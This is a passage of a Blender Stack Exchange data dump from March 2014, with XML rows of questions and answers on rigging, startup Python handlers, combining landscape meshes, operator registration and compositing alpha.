  <row Id="7454" PostTypeId="2" ParentId="7448" CreationDate="2014-03-02T01:59:46.873" Score="1" Body="&lt;p&gt;While you can adjust the &lt;code&gt;head/tail/roll&lt;/code&gt; directly, &lt;code&gt;EditBone&lt;/code&gt;'s have a helper function for this:  &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.EditBone.html#bpy.types.EditBone.transform&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;EditBone.transform&lt;/code&gt;&lt;/a&gt;, which I &lt;em&gt;think&lt;/em&gt; is the most direct answer to your question, just pass a rotation matrix to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is simply a python helper function, see &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/modules/bpy_types.py;e60fb0fd294577948f8ce0f07817b98d1b3024fe%24335&quot; rel=&quot;nofollow&quot;&gt;the code&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-03-02T01:59:46.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7455" PostTypeId="2" ParentId="7449" CreationDate="2014-03-02T03:55:51.697" Score="8" Body="&lt;h2&gt;Background Info...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Blender intentionally prevents you from manipulating the scene at startup, this is because it is rarely useful and you end up running into issues - like loading a blend file immediately overwrite any changes you have made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other data such as the user preferences &lt;strong&gt;can&lt;/strong&gt; be manipulated since this persists across different blend files.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Explicit Execution&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So, if you want to do this, you can use a command line argument to run a text block in your &lt;code&gt;startup.blend&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --python-text lamp.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can reference a path directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --python /path/to/lamp.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you can control if the script runs before or after loading a blend file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# add the lamp to any blend you open&#xA;blender example.blend --python-text lamp.py&#xA;&#xA;# add the lamp, then overwrite it (not useful in this case)&#xA;blender --python-text lamp.py example.blend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main drawback for this is it needs to be added to some startup script or launcher, or manually entered into the commandline each time you start blender.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;2. Using Callbacks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Heres an example of a script you can place in &lt;code&gt;startup/&lt;/code&gt; which adds a handler that can manipulate the scene how you like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def load_handler(dummy):&#xA;    bpy.ops.object.lamp_add(type='POINT', view_align=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;&#xA;bpy.app.handlers.load_post.append(load_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is another example which keeps the handler active but only executes on new files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def load_handler(dummy):&#xA;&#xA;    # only apply to startup&#xA;    if not bpy.data.filepath:&#xA;        return&#xA;&#xA;    bpy.ops.object.lamp_add(type='POINT', view_align=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;&#xA;bpy.app.handlers.load_post.append(load_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may seem overkill for such a simple task, but when you consider it gives you the ability to execute code on any newly loaded file, its quite flexible.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-03-02T04:13:49.537" LastActivityDate="2014-03-02T04:13:49.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7456" PostTypeId="1" AcceptedAnswerId="7474" CreationDate="2014-03-02T04:11:46.570" Score="2" ViewCount="1943" Body="&lt;p&gt;I used the landscape generator to create two mountain ranges.. They go edge to edge and have a weird clipping effect. I want to join them together and have the vertices joined cleanly and look normal. How could I go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CrPWP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZf7L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wkbjf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="696" LastEditDate="2014-03-02T09:22:30.323" LastActivityDate="2014-03-02T18:28:51.907" Title="Cleanly Combine Two Landscapes" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7457" PostTypeId="2" ParentId="7456" CreationDate="2014-03-02T07:07:22.663" Score="1" Body="&lt;h2&gt;Using a heightmap (first method I thought of)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Assign a gradient to both of them, from black to white along the z-axis. Render this from the top to get the combined heightmap. See this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1161/how-to-make-a-displacement-map-from-existing-3d-geometry/1172#1172&quot;&gt;Displacement map from existing 3d geometry&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new plane and assign the rendered heightmap.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using the shrinkwrap modifier (second and better method)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is fairly quick, easy and gives excellent topology.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Join the two planes into one object.&lt;/li&gt;&#xA;&lt;li&gt;Create a new plane with desired resolution. Place it over the two first.&lt;/li&gt;&#xA;&lt;li&gt;Make it the same size in X-Y direction.&lt;/li&gt;&#xA;&lt;li&gt;Add a shrinkwrap modifier to the new plane. Set the target to the joined terrain object.&lt;/li&gt;&#xA;&lt;li&gt;Set mode to Project.&lt;/li&gt;&#xA;&lt;li&gt;Make sure Negative direction is ticked.&lt;/li&gt;&#xA;&lt;li&gt;Select Z direction.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wBieH.png&quot; alt=&quot;resulting mesh with shrinkwrap modifier settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-03-02T14:25:17.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7458" PostTypeId="1" CreationDate="2014-03-02T09:16:30.423" Score="0" ViewCount="1862" Body="&lt;p&gt;I have a macbook pro early 2013 model with i7 processor and nvidia m650 graphics but when i go to the settings to enable gpu rendering there is no option to select it only cpu rendering can anyone tell me why this is?&lt;/p&gt;&#xA;" OwnerUserId="2646" LastActivityDate="2014-03-02T17:19:09.537" Title="macbook pro rendering issue" Tags="&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2014-03-03T01:04:59.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="7459" PostTypeId="2" ParentId="7456" CreationDate="2014-03-02T10:10:30.523" Score="1" Body="&lt;p&gt;I recommend to use &lt;strong&gt;Boolean&lt;/strong&gt; modifier:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one Landscape object, enter &lt;strong&gt;Edit Mode&lt;/strong&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to select non-manifold edges; &lt;kbd&gt;E&lt;/kbd&gt; to extrude selection; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;strong&gt;Grid Fill&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Repeat Step 1 for the other landscape object; Add &lt;strong&gt;Boolean&lt;/strong&gt; Modifier on either one, set &lt;em&gt;Operation&lt;/em&gt; to &lt;strong&gt;Interset&lt;/strong&gt;, set &lt;em&gt;Object&lt;/em&gt; to another;&lt;/li&gt;&#xA;&lt;li&gt;Apply the modifier; Enter &lt;strong&gt;Edit Mode&lt;/strong&gt;, press &lt;kbd&gt;X&lt;/kbd&gt; to delete the selection (supposing you didn't change element selection in Step 1 and 2).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PNdwr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You may also want to remove doubles or recalculate normals by then.&lt;/li&gt;&#xA;&lt;li&gt;Boolean in blender needs objects being solid. That's why we need to do like this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-02T17:10:30.080" LastActivityDate="2014-03-02T17:10:30.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7460" PostTypeId="2" ParentId="7445" CreationDate="2014-03-02T10:46:21.547" Score="2" Body="&lt;p&gt;The swizzle properties &lt;code&gt;Vector.xyz&lt;/code&gt; return a new instance of &lt;code&gt;Vector&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. using a python &lt;a href=&quot;http://docs.python.org/3/library/functions.html#property&quot; rel=&quot;nofollow&quot;&gt;property&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyVectorClass(tuple):&#xA;    def get_xxx(self):&#xA;        return MyVectorClass((self[0],)*3)&#xA;    xxx = property(fget=get_xxx)&#xA;&#xA;v = MyVectorClass((1.0, 2.0))&#xA;v.xxx.xxx.xxx&#xA;#equivalent to&#xA;v.get_xxx().get_xxx().get_xxx()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would suggest &lt;code&gt;Vector.to_tuple&lt;/code&gt;. That is everything you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: To properly check for the type you should use &lt;a href=&quot;http://docs.python.org/3/library/functions.html#isinstance&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;isinstance&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils&#xA;&#xA;if isinstance(v, mathutils.Vector):&#xA;    t = v.to_tuple()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="29" LastEditDate="2014-03-02T12:31:51.620" LastActivityDate="2014-03-02T12:31:51.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7461" PostTypeId="1" AcceptedAnswerId="7487" CreationDate="2014-03-02T10:46:27.580" Score="8" ViewCount="33432" Body="&lt;p&gt;I have two meshes in their own blend files, ones is a very muscular male and another one is a curvy female. I'm working on the rigging and animation of the female and I've managed to make some simple animations for testing. I want to transfer the rig of the female with its animations, shape keys and etc... to the male mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how could I approach this?, I've already tried with shift-D but I think I did it wrong because&#xA;I couldn't transfer the rig to the other file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using blender 2.69.&lt;/p&gt;&#xA;" OwnerUserId="2144" LastActivityDate="2018-09-09T17:35:44.353" Title="how to copy a rig to another mesh" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7462" PostTypeId="2" ParentId="7435" CreationDate="2014-03-02T12:05:51.030" Score="3" Body="&lt;p&gt;The best result I could come up with was from using two bevel modifiers, with vertex groups to limit them to the outer or inner edges. Along with some small geometry changes this prevents the bevel being applied to edges spanning the flat surfaces or sides that was causing artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4vQ14.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also shaded smooth and added an edge split modifier. The modified file is available &lt;a href=&quot;http://www.pasteall.org/blend/27224&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-02T12:05:51.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7463" PostTypeId="1" CreationDate="2014-03-02T13:44:54.763" Score="3" ViewCount="232" Body="&lt;p&gt;I have defined an operator, which is called from a button in another operator's panel. The called operator is supposed to import a ply file into the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the relevant code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class LoadPointCloud_Button(bpy.types.Operator):&#xA;    bl_idname = &quot;load.pointcloud&quot;&#xA;    bl_label = &quot;Load Point Cloud&quot;&#xA;    bl_options = {'UNDO'}&#xA;    bl_description = &quot;Load the point cloud&quot;&#xA;&#xA;    def execute(self, context):&#xA;        bpy.ops.import_mesh.ply(filepath=&quot;C:\\sfmoutput\\pmvs\\models\\option-0000.ply&quot;)&#xA;        return{'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ply mesh is imported successfully when invoked by pressing the spacebar and typing &quot;Load Point Cloud&quot;. When invoked from the panel button, nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The System Console window says that the import was successful in both cases.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Successfully imported 'C:\sfmoutput\pmvs\models\option-0000.ply'&#xA;  in 0.554 sec&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But in the latter case, nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried various things including manually setting the active scene, but nothing seems to work. I couldn't find similar example code either. What's the solution to this?&lt;/p&gt;&#xA;" OwnerUserId="978" LastEditorUserId="978" LastEditDate="2014-03-02T15:17:47.153" LastActivityDate="2014-03-02T15:17:47.153" Title="Operator doesn't work when invoked from Panel, but works when invoked using the spacebar" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7464" PostTypeId="2" ParentId="7463" CreationDate="2014-03-02T14:17:09.320" Score="3" Body="&lt;p&gt;There are two issues with your code, and I presume your button doesn't actually call this code, but an older version of your operator:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;bl_idname = &quot;load.pointCloud&quot;&lt;/code&gt; is an invalid name, only lower-case characters are allowed. Bad naming will make the operator registration fail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The path to your &lt;code&gt;.ply&lt;/code&gt; file contains backslashes, but you didn't escape them. You can use a raw string (&lt;code&gt;r&quot;C:\path\to\file.ext&quot;&lt;/code&gt;) to avoid lots of &lt;code&gt;\\&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class LoadPointCloud_Button(bpy.types.Operator):&#xA;    bl_idname = &quot;load.pointcloud&quot;&#xA;    bl_label = &quot;Load Point Cloud&quot;&#xA;    bl_description = &quot;Load the point cloud&quot;&#xA;    bl_options = {'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        bpy.ops.import_mesh.ply(filepath=r&quot;C:\sfmoutput\pmvs\models\option-0000.ply&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(LoadPointCloud_Button)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(LoadPointCloud_Button)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-02T14:17:09.320" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7465" PostTypeId="1" AcceptedAnswerId="7466" CreationDate="2014-03-02T14:41:02.757" Score="7" ViewCount="12654" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K8BCb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may infer from this question, I'm a complete noob. I've gone through quite a few tutorial videos but I still don't understand how I can create this shape...&lt;/p&gt;&#xA;" OwnerUserId="2648" LastEditorUserId="1476" LastEditDate="2014-03-02T20:37:28.057" LastActivityDate="2014-03-02T20:37:28.057" Title="Create a flat plane with beveled edges" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7466" PostTypeId="2" ParentId="7465" CreationDate="2014-03-02T14:46:16.763" Score="8" Body="&lt;p&gt;You can do this by modifying a simple plane.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane: &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; -&gt; Mesh -&gt; Plane&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into edit mode: &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into vertices mode: &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt; -&gt; &lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all vertices: &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bevel vertices: &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;B&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4tbAc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This will create an ngon, ideally we would only like quads (faces with only four vertices)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fix this you can easily connect two vertices.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select two opposing vertices and connect them by &lt;kbd&gt;J&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat until all ngons are gone&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sSQ3G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="696" LastEditDate="2014-03-02T15:24:11.787" LastActivityDate="2014-03-02T15:24:11.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7467" PostTypeId="1" CreationDate="2014-03-02T14:46:53.183" Score="0" ViewCount="55" Body="&lt;p&gt;I want to composite a cube over a background while still keeping the alpha channel for the cube. I want the composited image to be a cube over an image. The alpha channel should be only the cube. I would like to use the alpha channel as a mask for further compositing. The problem is that with my current node setup there is a border around the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27231&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KK2H3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2649" LastEditorUserId="1476" LastEditDate="2014-03-02T16:50:47.533" LastActivityDate="2014-03-02T17:13:51.827" Title="Problem with white edges" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-03-02T19:02:12.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="7468" PostTypeId="1" CreationDate="2014-03-02T15:22:17.250" Score="6" ViewCount="2625" Body="&lt;p&gt;When running my script, it can take up to a few hours depending on how detailed my object is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While blender is running my script, blender changes its status &quot;no response&quot; (not sure if it's the correct translated word, since I only know the german term for it which is &quot;Keine Rückmeldung&quot;) meaning I cannot do or click anything on blender while it's running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, is there a way to have a &lt;em&gt;remaining-process-time-ish&lt;/em&gt;-pop-up or just a &lt;em&gt;script-is-running-do-not-turn-off-blender&lt;/em&gt;-pop-up?&lt;/p&gt;&#xA;" OwnerUserId="2248" LastActivityDate="2017-04-29T14:50:42.737" Title="Blender not responding while running my script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7469" PostTypeId="2" ParentId="7468" CreationDate="2014-03-02T15:52:46.970" Score="2" Body="&lt;p&gt;Short answer: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/info_gotcha.html#can-i-redraw-during-the-script&quot; rel=&quot;nofollow noreferrer&quot;&gt;No&lt;/a&gt;&lt;br&gt;&#xA;See: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/info_gotcha.html#strange-errors-using-threading-module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Strange errors using ‘threading’ module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python scripts run 'blocking', Blender will wait until finsihed. It isn't thread-safe to run python in parallel. You may be able to get around the issues with Blender crashing with python running own threads using a modal operator with timer: &lt;a href=&quot;https://blender.stackexchange.com/questions/1050/blender-ui-multithreading-progressbar&quot;&gt;Blender UI Multithreading Progressbar&lt;/a&gt;. Also consider if a modal operator running the background is suitable for your use case (let it &lt;code&gt;return {'PASS_THROUGH'}&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your scripts run for hours, you should also investigate why they are so slow. See here what hurts performance: &lt;a href=&quot;https://blender.stackexchange.com/questions/7358/python-performance-with-blender-operators&quot;&gt;Python performance with Blender operators&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-03-02T17:15:39.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7470" PostTypeId="2" ParentId="7468" CreationDate="2014-03-02T15:52:52.677" Score="0" Body="&lt;p&gt;There is a good reason the blender becomes unresponsive when a script is running. When python is computing your script and it takes a long time windows will time out the GUI update for blender. Blender is did not freeze, its just means that you cannot interact with blender at the time it is computing, the same goes for baking smoke simulation, you cannot change anything in your scene. You will just have to wait until your script is done.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Timeout Detection and Recovery of GPUs (TDR)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;One of the most common stability problems in graphics occurs when a computer appears completely &amp;quot;frozen&amp;quot; while, in reality, it is processing an end-user command or operation. The end-user typically waits a few seconds and then reboots the computer. The frozen appearance of the computer typically occurs because the graphics processing unit (GPU) is busy processing intensive graphical operations, typically during game play. The GPU does not update the display screen, and the computer appears frozen.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Although blender does not run on the GPU, but rather the CPU it is still waiting for the python script to be done executing. Blender will not let you continue until your python script is done.&lt;/p&gt;&#xA;&lt;p&gt;As far as &lt;em&gt;script-is-running-do-not-turn-off-blender-pop-up&lt;/em&gt;, windows will not quit blender unless you click on the end process button. This is normal behaviour.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-02T15:52:52.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7471" PostTypeId="2" ParentId="7440" CreationDate="2014-03-02T16:09:50.700" Score="-2" Body="&lt;p&gt;If you lower the Width in the Film Panel under the render tab from &lt;code&gt;1.0&lt;/code&gt; to &lt;code&gt;0.01&lt;/code&gt; the border will dissolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yhV56.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="1476" LastEditDate="2014-03-02T17:13:51.827" LastActivityDate="2014-03-02T17:13:51.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7472" PostTypeId="2" ParentId="7440" CreationDate="2014-03-02T16:23:30.957" Score="1" Body="&lt;p&gt;You do not need a mix node, Use an alpha-over node. Although blender shows you a border around the cube, it is actually doing what you want. Use the following node setup. You do not need a scale node per se, I only have it because the background image is larger than the cube render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g3YqV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to export a render with the shown node setup and import it into another compositing application you would see that this is the correct method. The alpha is retained and the composite shows the default backdrop from when you rendered it out of blender, but you can easily change that since the alpha is retained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TWLto.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alpha channel as viewed in another 3d app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5y2Tr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K90Bi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-02T16:23:30.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7473" PostTypeId="2" ParentId="7363" CreationDate="2014-03-02T16:40:50.503" Score="3" Body="&lt;p&gt;Armatures have their own layering system - similar to the layers available in the 3dview - only bones on active layers will be visible. Rigify uses these layers to group various related bones together, eg the finger bones are all on one layer, arm.L(IK) bones are on another and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rigify also creates a panel that is shown in the properties sidebar of the 3dview (&lt;kbd&gt;N&lt;/kbd&gt;) that has buttons to enable the various bone layers using more useful names. These buttons are just a convenience that relate to the bone layers available in the armature properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9RW9o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-02T16:40:50.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7474" PostTypeId="2" ParentId="7456" CreationDate="2014-03-02T17:05:58.213" Score="5" Body="&lt;p&gt;You can combine two landscape using the bridge tool.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one of the landscape in object mode and move it away from the other slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qtf7b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select both landscapes in object mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Join the two object together, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;J&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2paol.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode select both edge loops between the landscapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 